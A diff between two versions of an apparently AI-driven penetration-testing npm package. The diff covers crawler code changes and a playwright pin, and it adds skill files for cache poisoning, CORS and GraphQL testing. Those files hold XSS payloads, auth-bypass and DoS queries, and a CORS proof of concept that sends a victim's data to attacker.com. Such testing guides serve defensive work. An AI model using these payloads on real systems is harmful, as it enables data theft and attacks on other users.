@cyberstrike-io/cyberstrike 1.1.13 → 1.1.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -31028,8 +31028,8 @@ async function waitForManualLogin(page, label) {
31028
31028
  btn.style.cssText = [
31029
31029
  "all: initial",
31030
31030
  "position: fixed",
31031
- "bottom: 16px",
31032
- "left: 16px",
31031
+ "top: 16px",
31032
+ "right: 16px",
31033
31033
  "z-index: 2147483647",
31034
31034
  "display: flex",
31035
31035
  "flex-direction: column",
@@ -40637,6 +40637,18 @@ Always respond with a valid JSON object. If there is nothing to explore, return:
40637
40637
 
40638
40638
  // ../hackbrowser/src/navigator.ts
40639
40639
  var log3 = Log.create({ service: "hackbrowser:navigator" });
40640
+ function isAuthError(err) {
40641
+ if (!err || typeof err !== "object")
40642
+ return false;
40643
+ const e = err;
40644
+ if (e.name === "AI_LoadAPIKeyError")
40645
+ return true;
40646
+ if (e.statusCode === 401 || e.statusCode === 403)
40647
+ return true;
40648
+ if (e.lastError && isAuthError(e.lastError))
40649
+ return true;
40650
+ return Array.isArray(e.errors) && e.errors.some(isAuthError);
40651
+ }
40640
40652
  function loadPlannerPrompt() {
40641
40653
  return planner_default;
40642
40654
  }
@@ -40693,10 +40705,14 @@ async function planPage(snapshot, model, usageAcc) {
40693
40705
  log3.debug("page plan", { tasks: plan.tasks.length });
40694
40706
  return plan;
40695
40707
  } catch (err) {
40708
+ if (isAuthError(err))
40709
+ throw err;
40696
40710
  log3.warn("planPage failed, retrying once", { err: String(err) });
40697
40711
  try {
40698
40712
  return await attempt();
40699
40713
  } catch (err2) {
40714
+ if (isAuthError(err2))
40715
+ throw err2;
40700
40716
  log3.error("planPage failed after retry, returning empty plan", { err: String(err2) });
40701
40717
  return { tasks: [] };
40702
40718
  }
@@ -40743,6 +40759,8 @@ async function planUnexploredElements(snapshot, unexploredLabels, model, usageAc
40743
40759
  log3.debug("unexplored plan", { tasks: plan.tasks.length });
40744
40760
  return plan;
40745
40761
  } catch (err) {
40762
+ if (isAuthError(err))
40763
+ throw err;
40746
40764
  log3.warn("planUnexploredElements failed", { err: String(err) });
40747
40765
  return { tasks: [] };
40748
40766
  }
@@ -53975,8 +53993,7 @@ function validate(opts) {
53975
53993
  if (!opts.url) {
53976
53994
  throw new Error("opts.url is required");
53977
53995
  }
53978
- const headlessRequested = opts.headless !== false;
53979
- if (opts.multiCredentials && opts.multiCredentials.length >= 2 && headlessRequested) {
53996
+ if (opts.multiCredentials && opts.multiCredentials.length >= 2 && opts.headless === true) {
53980
53997
  throw new Error("multi-credential mode requires headless: false (manual login is currently the only supported flow)");
53981
53998
  }
53982
53999
  }
@@ -54056,33 +54073,107 @@ function send(msg) {
54056
54073
  process.stdout.write(JSON.stringify(msg) + `
54057
54074
  `);
54058
54075
  }
54076
+ function stripSamplingParams(body) {
54077
+ if (typeof body !== "string")
54078
+ return body;
54079
+ try {
54080
+ const json2 = JSON.parse(body);
54081
+ if (json2 && typeof json2 === "object") {
54082
+ delete json2["temperature"];
54083
+ delete json2["top_p"];
54084
+ delete json2["top_k"];
54085
+ return JSON.stringify(json2);
54086
+ }
54087
+ } catch {}
54088
+ return body;
54089
+ }
54090
+ function applyAnthropicBearerBody(body, opts) {
54091
+ if (typeof body !== "string")
54092
+ return body;
54093
+ try {
54094
+ const j = JSON.parse(body);
54095
+ if (opts.stripSampling) {
54096
+ delete j["temperature"];
54097
+ delete j["top_p"];
54098
+ delete j["top_k"];
54099
+ }
54100
+ if (opts.userId)
54101
+ j["metadata"] = { ...j["metadata"] ?? {}, user_id: opts.userId };
54102
+ if (opts.systemPrefix) {
54103
+ const prefix = { type: "text", text: opts.systemPrefix };
54104
+ if (Array.isArray(j["system"]))
54105
+ j["system"] = [prefix, ...j["system"]];
54106
+ else if (typeof j["system"] === "string")
54107
+ j["system"] = [prefix, { type: "text", text: j["system"] }];
54108
+ else if (j["system"] == null)
54109
+ j["system"] = [prefix];
54110
+ }
54111
+ return JSON.stringify(j);
54112
+ } catch {
54113
+ return body;
54114
+ }
54115
+ }
54059
54116
  function createModelFromDescriptor(desc) {
54117
+ const stripSampling = desc.supportsTemperature === false;
54118
+ const samplingFetch = stripSampling ? (input, init) => fetch(input, init ? { ...init, body: stripSamplingParams(init.body) } : init) : undefined;
54060
54119
  if (desc.npm.includes("anthropic")) {
54061
- const opts = {};
54120
+ if (desc.authToken) {
54121
+ const token = desc.authToken;
54122
+ const beta = desc.anthropicBeta;
54123
+ const opts3 = {
54124
+ apiKey: "placeholder",
54125
+ fetch: (url2, init) => {
54126
+ const headers = new Headers(init?.headers);
54127
+ headers.delete("x-api-key");
54128
+ headers.set("authorization", `Bearer ${token}`);
54129
+ if (beta)
54130
+ headers.set("anthropic-beta", beta);
54131
+ const body = applyAnthropicBearerBody(init?.body, {
54132
+ stripSampling,
54133
+ userId: desc.anthropicUserId,
54134
+ systemPrefix: desc.anthropicSystemPrefix
54135
+ });
54136
+ return fetch(url2, { ...init, headers, body });
54137
+ }
54138
+ };
54139
+ if (desc.baseURL)
54140
+ opts3.baseURL = desc.baseURL;
54141
+ if (desc.headers)
54142
+ opts3.headers = desc.headers;
54143
+ return createAnthropic(opts3)(desc.modelApiId);
54144
+ }
54145
+ const opts2 = {};
54062
54146
  if (desc.apiKey)
54063
- opts.apiKey = desc.apiKey;
54147
+ opts2.apiKey = desc.apiKey;
54064
54148
  if (desc.baseURL)
54065
- opts.baseURL = desc.baseURL;
54149
+ opts2.baseURL = desc.baseURL;
54066
54150
  if (desc.headers)
54067
- opts.headers = desc.headers;
54068
- return createAnthropic(opts)(desc.modelApiId);
54151
+ opts2.headers = desc.headers;
54152
+ if (samplingFetch)
54153
+ opts2.fetch = samplingFetch;
54154
+ return createAnthropic(opts2)(desc.modelApiId);
54069
54155
  }
54070
54156
  if (desc.npm === "@ai-sdk/openai") {
54071
- const opts = {};
54157
+ const opts2 = {};
54072
54158
  if (desc.apiKey)
54073
- opts.apiKey = desc.apiKey;
54159
+ opts2.apiKey = desc.apiKey;
54074
54160
  if (desc.baseURL)
54075
- opts.baseURL = desc.baseURL;
54161
+ opts2.baseURL = desc.baseURL;
54076
54162
  if (desc.headers)
54077
- opts.headers = desc.headers;
54078
- return createOpenAI(opts)(desc.modelApiId);
54163
+ opts2.headers = desc.headers;
54164
+ if (samplingFetch)
54165
+ opts2.fetch = samplingFetch;
54166
+ return createOpenAI(opts2)(desc.modelApiId);
54079
54167
  }
54080
- return createOpenAICompatible({
54168
+ const opts = {
54081
54169
  name: "hackbrowser-provider",
54082
54170
  apiKey: desc.apiKey ?? "",
54083
54171
  baseURL: desc.baseURL ?? "https://api.openai.com/v1",
54084
54172
  headers: desc.headers
54085
- }).languageModel(desc.modelApiId);
54173
+ };
54174
+ if (samplingFetch)
54175
+ opts.fetch = samplingFetch;
54176
+ return createOpenAICompatible(opts).languageModel(desc.modelApiId);
54086
54177
  }
54087
54178
  function buildCrawlOptions(opts, signal) {
54088
54179
  const logSink = (rec) => {
package/package.json CHANGED
@@ -7,7 +7,7 @@
7
7
  "scripts": {
8
8
  "postinstall": "bun ./postinstall.mjs || node ./postinstall.mjs"
9
9
  },
10
- "version": "1.1.13",
10
+ "version": "1.1.14",
11
11
  "license": "AGPL-3.0-only",
12
12
  "keywords": [
13
13
  "cyberstrike",
@@ -40,16 +40,16 @@
40
40
  "playwright": "1.58.2"
41
41
  },
42
42
  "optionalDependencies": {
43
- "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.13",
44
- "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.13",
45
- "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.13",
46
- "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.13",
47
- "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.13",
48
- "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.13",
49
- "@cyberstrike-io/cyberstrike-linux-x64": "1.1.13",
50
- "@cyberstrike-io/cyberstrike-windows-x64": "1.1.13",
51
- "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.13",
52
- "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.13",
53
- "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.13"
43
+ "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.14",
44
+ "@cyberstrike-io/cyberstrike-windows-x64": "1.1.14",
45
+ "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.14",
46
+ "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.14",
47
+ "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.14",
48
+ "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.14",
49
+ "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.14",
50
+ "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.14",
51
+ "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.14",
52
+ "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.14",
53
+ "@cyberstrike-io/cyberstrike-linux-x64": "1.1.14"
54
54
  }
55
55
  }
package/postinstall.mjs CHANGED
@@ -164,6 +164,12 @@ function installSkills() {
164
164
  * The actual chromium binary requires a separate one-time step:
165
165
  * npx playwright install chromium
166
166
  */
167
+ // Pinned playwright version for the hackbrowser worker. MUST stay in sync with
168
+ // packages/hackbrowser/package.json (and packages/cyberstrike/package.json). The
169
+ // playwright version is coupled to a specific Chromium build, so a drift here
170
+ // causes "Chromium <rev> is not installed" at runtime.
171
+ const PLAYWRIGHT_VERSION = "1.58.2"
172
+
167
173
  function installHackbrowserWorker() {
168
174
  const workerSrc = path.join(__dirname, "hackbrowser-worker.js")
169
175
  if (!fs.existsSync(workerSrc)) {
@@ -187,16 +193,23 @@ function installHackbrowserWorker() {
187
193
  if (!fs.existsSync(playwrightDir)) {
188
194
  console.log("Installing playwright npm package for hackbrowser worker...")
189
195
  try {
190
- execSync(`npm install --prefix "${dataDir}" playwright@1.58.2 --no-fund --no-audit --loglevel=error`, {
191
- stdio: "inherit",
192
- timeout: 120000,
193
- })
196
+ // --save-exact pins the dependency without a caret ("1.58.2", not
197
+ // "^1.58.2"). A caret range lets a later `npm install` in this dir bump
198
+ // to a newer minor (e.g. 1.59.x) whose Chromium build won't match the one
199
+ // installed via `npx playwright install chromium`, breaking the worker.
200
+ execSync(
201
+ `npm install --prefix "${dataDir}" --save-exact playwright@${PLAYWRIGHT_VERSION} --no-fund --no-audit --loglevel=error`,
202
+ {
203
+ stdio: "inherit",
204
+ timeout: 120000,
205
+ },
206
+ )
194
207
  console.log("playwright installed to", nodeModulesDir)
195
208
  } catch (err) {
196
209
  console.warn(
197
210
  "Warning: Failed to install playwright automatically:",
198
211
  err.message,
199
- "\nTo install manually: npm install --prefix ~/.local/share/cyberstrike playwright@1.58.2",
212
+ `\nTo install manually: npm install --prefix ~/.local/share/cyberstrike --save-exact playwright@${PLAYWRIGHT_VERSION}`,
200
213
  )
201
214
  }
202
215
  } else {
@@ -0,0 +1,124 @@
1
+ ---
2
+ name: attack-cache-poison
3
+ description: "Web cache poisoning — unkeyed header/parameter injection to serve malicious content to all users"
4
+ category: "web-application"
5
+ version: "1.0"
6
+ author: "cyberstrike-official"
7
+ tags:
8
+ - cache-poisoning
9
+ - web
10
+ - xss
11
+ - attack
12
+ tech_stack:
13
+ - web
14
+ cwe_ids:
15
+ - CWE-444
16
+ - CWE-525
17
+ chains_with:
18
+ - attack-host-header
19
+ - attack-open-redirect
20
+ prerequisites: []
21
+ severity_boost:
22
+ attack-host-header: "Host header + cache = stored XSS/redirect affecting all users"
23
+ ---
24
+
25
+ # Web Cache Poisoning
26
+
27
+ ## Objective
28
+
29
+ Inject malicious content into cached responses via unkeyed inputs (headers, parameters) so that subsequent users receive the poisoned response.
30
+
31
+ ## Testing Methodology
32
+
33
+ ### Phase 1: Identify Cache Behavior
34
+
35
+ ```bash
36
+ # Check cache headers
37
+ curl -s -D- https://TARGET/ | grep -i "x-cache\|age\|cache-control\|cf-cache\|x-varnish"
38
+
39
+ # Identify cache key components (vary header)
40
+ curl -s -D- https://TARGET/ | grep -i "vary"
41
+ ```
42
+
43
+ ### Phase 2: Find Unkeyed Inputs
44
+
45
+ Test headers that are reflected in response but NOT part of cache key:
46
+
47
+ ```bash
48
+ # X-Forwarded-Host
49
+ curl -s https://TARGET/ -H "X-Forwarded-Host: evil.com" | grep "evil.com"
50
+
51
+ # X-Forwarded-Scheme
52
+ curl -s https://TARGET/ -H "X-Forwarded-Scheme: nothttps" | grep "redirect"
53
+
54
+ # X-Original-URL / X-Rewrite-URL
55
+ curl -s https://TARGET/ -H "X-Original-URL: /admin"
56
+
57
+ # Custom headers
58
+ curl -s https://TARGET/ -H "X-Forwarded-Port: 1234"
59
+ ```
60
+
61
+ ### Phase 3: Cache Poisoning via Unkeyed Header
62
+
63
+ ```bash
64
+ # Poison with XSS payload
65
+ curl -s https://TARGET/ \
66
+ -H "X-Forwarded-Host: evil.com\"><script>alert(1)</script>"
67
+
68
+ # Wait for cache to store, then verify
69
+ curl -s https://TARGET/ | grep "alert(1)"
70
+ ```
71
+
72
+ ### Phase 4: Unkeyed Parameter Poisoning
73
+
74
+ ```bash
75
+ # Find parameters not in cache key
76
+ curl -s "https://TARGET/?cb=123" -D- | grep "x-cache"
77
+ curl -s "https://TARGET/?utm_source=evil" | grep "evil"
78
+
79
+ # Reflected unkeyed parameter → stored XSS
80
+ curl -s "https://TARGET/?evil=<script>alert(1)</script>"
81
+ ```
82
+
83
+ ### Phase 5: Fat GET / POST-based Poisoning
84
+
85
+ ```bash
86
+ # Fat GET — body in GET request
87
+ curl -s https://TARGET/ -X GET -d "param=<script>alert(1)</script>"
88
+
89
+ # POST → GET cache confusion
90
+ curl -s https://TARGET/ -X POST \
91
+ -H "X-HTTP-Method-Override: GET" \
92
+ -d "param=evil"
93
+ ```
94
+
95
+ ### Phase 6: Cache Key Normalization
96
+
97
+ ```bash
98
+ # Path normalization differences
99
+ curl -s "https://TARGET/path/../admin"
100
+ curl -s "https://TARGET/PATH" vs "https://TARGET/path"
101
+ curl -s "https://TARGET/path;.js"
102
+ ```
103
+
104
+ ## What Constitutes a Finding
105
+
106
+ | Finding | Severity |
107
+ |---------|----------|
108
+ | Cached XSS payload served to other users | Critical (P1) |
109
+ | Cached redirect to attacker domain | High (P2) |
110
+ | Denial of service via cache poisoning (error page cached) | Medium (P3) |
111
+ | Unkeyed header reflected (no cache impact proven) | Low (P4) |
112
+
113
+ ## Evidence Requirements
114
+
115
+ - Unkeyed input identified (header or parameter)
116
+ - Response showing injected content
117
+ - Cache headers proving response was cached (X-Cache: HIT, Age > 0)
118
+ - Second request (clean) still receiving poisoned content
119
+ - Impact: XSS, redirect, or DoS
120
+
121
+ ## References
122
+
123
+ - [PortSwigger: Web Cache Poisoning](https://portswigger.net/web-security/web-cache-poisoning)
124
+ - [James Kettle: Practical Web Cache Poisoning](https://portswigger.net/research/practical-web-cache-poisoning)
@@ -0,0 +1,116 @@
1
+ ---
2
+ name: attack-cors
3
+ description: "CORS misconfiguration testing — origin reflection, wildcard bypass, null origin, credential leakage"
4
+ category: "web-application"
5
+ version: "1.0"
6
+ author: "cyberstrike-official"
7
+ tags:
8
+ - cors
9
+ - web
10
+ - owasp
11
+ - access-control
12
+ - attack
13
+ tech_stack:
14
+ - web
15
+ cwe_ids:
16
+ - CWE-942
17
+ - CWE-346
18
+ chains_with:
19
+ - attack-open-redirect
20
+ - attack-idor-automation
21
+ prerequisites: []
22
+ severity_boost:
23
+ attack-open-redirect: "CORS + open redirect = token theft via cross-origin request"
24
+ ---
25
+
26
+ # CORS Misconfiguration Attack
27
+
28
+ ## Objective
29
+
30
+ Identify Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-origin access to sensitive data or APIs.
31
+
32
+ ## Testing Methodology
33
+
34
+ ### Phase 1: Origin Reflection Detection
35
+
36
+ Test if the server reflects arbitrary origins in `Access-Control-Allow-Origin`:
37
+
38
+ ```bash
39
+ # Automated CORS checker (bundled script)
40
+ attack_script cors_checker https://TARGET/api/endpoint --json-output
41
+ ```
42
+
43
+ Manual tests:
44
+
45
+ ```bash
46
+ # Arbitrary origin
47
+ curl -s -H "Origin: https://evil.com" TARGET_URL -D- | grep -i "access-control"
48
+
49
+ # Subdomain bypass
50
+ curl -s -H "Origin: https://TARGET.evil.com" TARGET_URL -D-
51
+
52
+ # Null origin
53
+ curl -s -H "Origin: null" TARGET_URL -D-
54
+
55
+ # HTTP downgrade
56
+ curl -s -H "Origin: http://TARGET" TARGET_URL -D-
57
+ ```
58
+
59
+ ### Phase 2: Bypass Techniques
60
+
61
+ ```bash
62
+ # Backtick bypass
63
+ curl -s -H "Origin: https://TARGET%60.evil.com" TARGET_URL -D-
64
+
65
+ # Underscore bypass
66
+ curl -s -H "Origin: https://TARGET_.evil.com" TARGET_URL -D-
67
+
68
+ # CRLF injection
69
+ curl -s -H "Origin: https://evil.com%0d%0a" TARGET_URL -D-
70
+
71
+ # Prefix matching bypass
72
+ curl -s -H "Origin: https://evil-TARGET" TARGET_URL -D-
73
+ ```
74
+
75
+ ### Phase 3: Impact Verification
76
+
77
+ If ACAO reflects attacker origin + ACAC is true:
78
+
79
+ ```html
80
+ <!-- PoC: reads victim data cross-origin -->
81
+ <script>
82
+ fetch('https://TARGET/api/user/profile', {
83
+ credentials: 'include'
84
+ })
85
+ .then(r => r.json())
86
+ .then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))))
87
+ </script>
88
+ ```
89
+
90
+ ## What Constitutes a Finding
91
+
92
+ | Condition | Severity |
93
+ |-----------|----------|
94
+ | Arbitrary origin reflected + credentials allowed | Critical (P1) |
95
+ | Arbitrary origin reflected, no credentials | Medium (P3) |
96
+ | null origin accepted + credentials allowed | High (P2) |
97
+ | Subdomain origin reflected + credentials | High (P2) |
98
+ | Wildcard ACAO with credentials | Medium (P3) |
99
+
100
+ ## Evidence Requirements
101
+
102
+ - Request with attacker `Origin` header
103
+ - Response showing `Access-Control-Allow-Origin` reflection
104
+ - Response showing `Access-Control-Allow-Credentials: true`
105
+ - PoC HTML demonstrating cross-origin data access
106
+
107
+ ## Tools
108
+
109
+ - `attack_script cors_checker` — automated multi-origin testing
110
+ - `curl` — manual header injection
111
+ - Browser DevTools — verify CORS behavior
112
+
113
+ ## References
114
+
115
+ - [PortSwigger: CORS](https://portswigger.net/web-security/cors)
116
+ - [OWASP: CORS Misconfiguration](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing)
@@ -0,0 +1,121 @@
1
+ ---
2
+ name: attack-graphql
3
+ description: "GraphQL vulnerability testing — introspection exposure, complexity DoS, batch abuse, mutation auth bypass"
4
+ category: "web-application"
5
+ version: "1.0"
6
+ author: "cyberstrike-official"
7
+ tags:
8
+ - graphql
9
+ - api
10
+ - web
11
+ - dos
12
+ - attack
13
+ tech_stack:
14
+ - web
15
+ - graphql
16
+ cwe_ids:
17
+ - CWE-200
18
+ - CWE-284
19
+ - CWE-770
20
+ chains_with:
21
+ - attack-idor-automation
22
+ prerequisites: []
23
+ severity_boost:
24
+ attack-idor-automation: "GraphQL introspection reveals IDOR-vulnerable queries"
25
+ ---
26
+
27
+ # GraphQL Vulnerability Testing
28
+
29
+ ## Objective
30
+
31
+ Exploit GraphQL-specific vulnerabilities including schema exposure, query complexity abuse, and authorization bypass.
32
+
33
+ ## Testing Methodology
34
+
35
+ ### Phase 1: Automated Testing
36
+
37
+ ```bash
38
+ # Full GraphQL test suite
39
+ attack_script graphql_tester "https://TARGET/graphql" \
40
+ -H "Authorization:Bearer TOKEN" \
41
+ --json-output
42
+
43
+ # Custom depth/batch
44
+ attack_script graphql_tester "https://TARGET/graphql" \
45
+ --depth 15 --batch-count 100
46
+ ```
47
+
48
+ ### Phase 2: Introspection Query
49
+
50
+ ```bash
51
+ # Full schema extraction
52
+ curl -s -X POST https://TARGET/graphql \
53
+ -H "Content-Type: application/json" \
54
+ -d '{"query":"{ __schema { types { name fields { name type { name } } } mutationType { fields { name args { name type { name } } } } queryType { fields { name } } } }"}'
55
+ ```
56
+
57
+ If introspection is enabled, map all types, queries, mutations, and subscriptions.
58
+
59
+ ### Phase 3: Authorization Bypass
60
+
61
+ ```graphql
62
+ # Access admin queries without auth
63
+ { adminUsers { id email role } }
64
+
65
+ # Mutation without auth
66
+ mutation { deleteUser(id: "123") { success } }
67
+
68
+ # Access other user's data
69
+ { user(id: "OTHER_USER_ID") { email ssn creditCard } }
70
+ ```
71
+
72
+ ### Phase 4: Complexity / DoS
73
+
74
+ ```graphql
75
+ # Deeply nested query
76
+ { users { posts { comments { author { posts { comments { author { id } } } } } } } }
77
+
78
+ # Alias multiplication
79
+ { a1: __typename a2: __typename ... a100: __typename }
80
+
81
+ # Batch queries (array)
82
+ [{"query":"{ __typename }"}, {"query":"{ __typename }"}, ... x50]
83
+ ```
84
+
85
+ ### Phase 5: Directive Abuse
86
+
87
+ ```graphql
88
+ # Skip/include directive for info leakage
89
+ { user(id: "1") { name email @skip(if: false) secretField @include(if: true) } }
90
+
91
+ # Field suggestions (error-based enum)
92
+ { user { nonExistentField } }
93
+ # Error may suggest: "Did you mean: password, secret_key?"
94
+ ```
95
+
96
+ ## What Constitutes a Finding
97
+
98
+ | Finding | Severity |
99
+ |---------|----------|
100
+ | Introspection enabled (schema exposed) | Medium (P3) |
101
+ | Admin mutations accessible without auth | Critical (P1) |
102
+ | Other user data accessible (IDOR) | High (P2) |
103
+ | DoS via complexity (server timeout/crash) | Medium (P3) |
104
+ | Batch queries bypass rate limiting | Medium (P3) |
105
+
106
+ ## Evidence Requirements
107
+
108
+ - GraphQL endpoint URL
109
+ - Query/mutation sent
110
+ - Response showing unauthorized data
111
+ - For introspection: schema dump (types, mutations, queries)
112
+ - For DoS: response timing proving server overload
113
+
114
+ ## Tools
115
+
116
+ - `attack_script graphql_tester` — automated introspection + DoS + batch testing
117
+
118
+ ## References
119
+
120
+ - [PortSwigger: GraphQL](https://portswigger.net/web-security/graphql)
121
+ - [HackerOne: GraphQL Bugs](https://www.hackerone.com/vulnerability-management/graphql-security-guide)